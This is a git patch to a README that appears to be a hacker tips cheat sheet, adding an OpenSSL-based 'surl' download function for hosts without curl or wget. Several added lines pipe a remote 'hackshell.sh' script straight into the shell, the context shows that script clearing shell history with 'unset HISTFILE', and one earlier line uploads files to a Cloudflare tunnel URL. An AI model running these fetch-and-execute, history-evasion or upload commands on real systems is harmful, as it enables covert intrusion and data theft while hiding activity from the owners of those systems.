From 6e94bd3c2fddd976388ebcb187df1e87a7096156 Mon Sep 17 00:00:00 2001
From: skyper <5938498+SkyperTHC@users.noreply.github.com>
Date: Sun, 1 Sep 2024 08:49:25 +0100
Subject: [PATCH] Update README.md
---
README.md | 25 ++++++++++++++++++++++---
1 file changed, 22 insertions(+), 3 deletions(-)
diff --git a/README.md b/README.md
index b613895..1cdcbfe 100644
--- a/README.md
+++ b/README.md
@@ -48,7 +48,7 @@ Got tricks? Join us on Telegram: [https://t.me/thcorg](https://t.me/thcorg)
1. [File transfer using screen](#file-transfer-screen)
1. [File transfer using gs-netcat and sftp](#file-transfer-gs-netcat)
1. [File transfer using HTTP](#http)
- 1. [File transfer without curl](#burl)
+ 1. [File download without curl](#download)
2. [File transfer using rsync](#rsync)
1. [File transfer to public dump sites](#trans)
1. [File transfer using WebDAV](#webdav)
@@ -127,6 +127,12 @@ Alternative URL:
source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)
```
+And if there is no curl/wget, use [surl](#download) and (temporarily) installed curl with `bin curl`.
+```sh
+source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
+# Afterwards type `bin curl` to install curl
+```
+
It does much more but most importantly this:
```sh
unset HISTFILE
@@ -1182,8 +1188,21 @@ curl -X POST https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F 'files=@myfil
```
---
-
-### 4.vi. File transfer without curl
+
+### 4.vi. File download without curl
+
+Using OpenSSL, download only:
+```sh
+surl() {
+ local r="${1#*://}"
+ IFS=/ read -r host query <<<"${r}"
+ echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
+ | openssl s_client -ignore_unexpected_eof -verify_quiet -quiet -ign_eof -connect "${host%%:*}:443" \
+ | sed '1,/^\r\{0,1\}$/d'
+}
+# surl https://ipinfo.io
+# source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
+```
Using bash, download only:
```sh